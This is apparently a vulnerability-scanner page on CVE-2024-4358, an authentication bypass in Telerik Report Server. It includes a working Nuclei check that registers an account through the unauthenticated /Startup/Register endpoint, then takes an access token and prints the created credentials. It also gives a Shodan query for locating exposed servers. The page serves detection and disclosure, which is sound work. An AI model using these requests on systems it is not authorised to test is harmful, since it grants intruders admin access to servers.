CVE-2024-4358· progress / telerik report server
Progress Telerik Report Server - Authentication Bypass
Exploited in the wild. Listed by CISA on 2024-06-13; known to be used by ransomware.
criticalseverity
97.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
Impact
An unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
Fix
Updating to Report Server 2024 Q2 (10.1.24.514) or later.
How to confirm it
Send: POST /Startup/Register ; POST /Token
Positive when: contains(content_type_2, "application/json") and contains_all(body_2, "access_token", "userName", "token_type") and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2024-4358 -u <target>
The full check
id: CVE-2024-4358
info:
name: Progress Telerik Report Server - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
impact: An unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
remediation: Updating to Report Server 2024 Q2 (10.1.24.514) or later.
reference:
- https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/
- https://github.com/sinsinology/CVE-2024-4358
- https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358
classification:
epss-score: 0.97482
epss-percentile: 0.99899
cpe: cpe:2.3:a:progress:telerik_report_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: title:"Log in | Telerik Report Server"
product: telerik_report_server
vendor: progress
tags: cve,cve2024,telerik,progress,auth-bypass,instrusive,kev,vkev,vuln
variables:
user: "{{rand_base(6)}}"
pass: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
http:
- raw:
- |
POST /Startup/Register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Username={{user}}&Password={{pass}}&ConfirmPassword={{pass}}&Email={{email}}&FirstName={{firstname}}&LastName={{lastname}}
- |
POST /Token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
grant_type=password&username={{user}}&password={{pass}}
matchers:
- type: dsl
dsl:
- 'contains(content_type_2, "application/json")'
- 'contains_all(body_2, "access_token", "userName", "token_type")'
- 'status_code_2 == 200'
condition: and
extractors:
- type: regex
name: token
part: body_2
group: 1
regex:
- '"access_token":"([A-Z0-9a-z_-]+)"'
internal: true
- type: dsl
dsl:
- '"Username: "+ user'
- '"Password: "+ pass'References
- https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/
- https://github.com/sinsinology/CVE-2024-4358
- https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358
Use this check only on systems you are authorised to test. Where the data comes from